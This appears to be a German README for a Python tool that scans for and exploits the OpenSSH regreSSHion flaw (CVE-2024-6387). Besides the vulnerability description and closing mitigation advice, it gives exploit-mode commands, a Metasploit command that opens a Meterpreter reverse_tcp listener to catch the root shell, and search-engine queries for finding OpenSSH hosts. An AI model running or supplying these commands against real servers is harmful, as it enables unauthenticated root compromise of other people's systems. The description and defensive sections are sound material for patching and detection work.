
Schwachstelle für nicht authentifizierte Remote-Codeausführung im OpenSSH-Server (CVE-2024-6387)
CVE-2024-6387.py - PoCDer Exploit funktioniert NUR für 32-Bit-OpenSSH-Server. Das liegt daran, dass der PoC 32-Bit-Zeiger verwendet! Es ist außerdem bekannt, dass einige Versionen bereits gepatcht sind und nicht jeder Server verwundbar ist. Getestet auf: Kali Linux, ParrotSec, Ubuntu 22.04
Schwachstelle für Remote-Codeausführung ohne Authentifizierung im OpenSSH-Server
CVE-2024-6387.py ist ein leichtgewichtiges, effizientes Tool, das dazu entwickelt wurde, Server zu identifizieren, die verwundbare Versionen von OpenSSH ausführen, und gezielt die kürzlich entdeckte regreSSHion-Schwachstelle (CVE-2024-6387) anvisiert. Dieses Skript ermöglicht das schnelle Scannen mehrerer IP-Adressen, Domainnamen und CIDR-Netzwerkbereiche, um potenzielle Schwachstellen zu erkennen und die Sicherheit Ihrer Infrastruktur zu gewährleisten.
In OpenSSHs Server (sshd) wurde eine Race Condition im Signalhandler gefunden, bei der ein Client sich nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120, bei alten OpenSSH-Versionen 600) authentifiziert. Daraufhin wird sshds SIGALRM-Handler asynchron aufgerufen. Dieser Signalhandler ruft jedoch verschiedene Funktionen auf, die nicht async-signal-sicher sind, z. B. syslog().
Technische Details finden Sie hier.
Die Schwachstelle wurde von Forschern bei Qualys im Mai 2024 entdeckt und erhielt die Kennung CVE-2024-6387. Sie ist auf eine Race Condition im Signalhandler von sshd zurückzuführen, die nicht authentifizierten Remote-Angreifern ermöglicht, beliebigen Code mit Root-Rechten auszuführen.
„Wenn sich ein Client nicht innerhalb von LoginGraceTime Sekunden (standardmäßig 120) authentifiziert, wird sshds SIGALRM-Handler asynchron aufgerufen und ruft verschiedene Funktionen auf, die nicht async-signal-sicher sind."
„Ein nicht authentifizierter Remote-Angreifer kann diese Schwachstelle ausnutzen, um beliebigen Code mit Root-Rechten auszuführen."
Voraussetzung: aktuelles python3
### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Sie müssen lediglich zuerst den folgenden Befehl ausführen (ändern Sie den {yourip}-Handler) und anschließend den Exploit mit dem obigen Befehl starten
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
Das Tool liefert eine farbcodierte Ausgabe auf der Konsole für bessere Lesbarkeit:
Grün: Erfolgreiche Verbindung oder Operation. Rot: Fehlgeschlagene Verbindung oder Fehler. Gelb: Warnungen oder beachtenswerte Informationen. Cyan: Allgemeine Informationen oder Statusaktualisierungen.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessPatch-Management: Das zeitnahe Einspielen verfügbarer Patches für OpenSSH ist entscheidend, um die Schwachstelle zu schließen. Rechtzeitiges Patchen stellt sicher, dass bekannte Exploits nicht gegen Ihre Systeme eingesetzt werden können, wodurch das Angriffsfenster für Angreifer verringert wird.
Erweiterte Zugriffskontrolle: Die Einschränkung des SSH-Zugriffs durch netzwerkbasierte Kontrollen bietet eine zusätzliche Verteidigungsebene. Dieser Ansatz minimiert die Gefährdung durch potenzielle Angreifer, indem SSH-Verbindungen nur auf autorisierte Netzwerke oder IP-Adressen beschränkt werden. Die Implementierung von Tools wie Firewall-Regeln oder die Verwendung von VPNs für sicheren Zugriff können diese Einschränkungen effektiv durchsetzen.
Netzwerksegmentierung: Die Aufteilung Ihres Netzwerks in Segmente hilft, die Auswirkungen eines möglichen Einbruchs einzudämmen. Indem Sie kritische Systeme und sensible Daten von weniger kritischen Teilen Ihres Netzwerks trennen, verringern Sie das Risiko einer seitlichen Bewegung durch Angreifer. Diese Segmentierung kann durch strenge Zugriffskontrollen und Überwachung ergänzt werden, um unbefugte Versuche, diese Segmente zu durchbrechen, zu erkennen und darauf zu reagieren.
Intrusion-Detection-Systeme (IDS): Die Bereitstellung von IDS- oder Intrusion-Prevention-Systemen (IPS) ermöglicht die Echtzeitüberwachung von Netzwerkverkehr und Systemprotokollen. Diese Systeme können verdächtige Aktivitäten und potenzielle Ausnutzungsversuche im Zusammenhang mit der regreSSHion-Schwachstelle erkennen. Durch solche Systeme ausgelöste Alarme ermöglichen eine sofortige Untersuchung und Gegenmaßnahmen, bevor größerer Schaden entstehen kann.
Überwachung auf Ausnutzungsversuche: Die kontinuierliche Überwachung von Netzwerk- und Systemprotokollen ist entscheidend. Achten Sie auf ungewöhnliche Muster oder Aktivitäten, die auf einen Versuch hinweisen könnten, die OpenSSH-Sicherheitslücke auszunutzen. Dieser proaktive Ansatz hilft, Bedrohungen zu identifizieren und darauf zu reagieren, bevor sie Schaden anrichten können.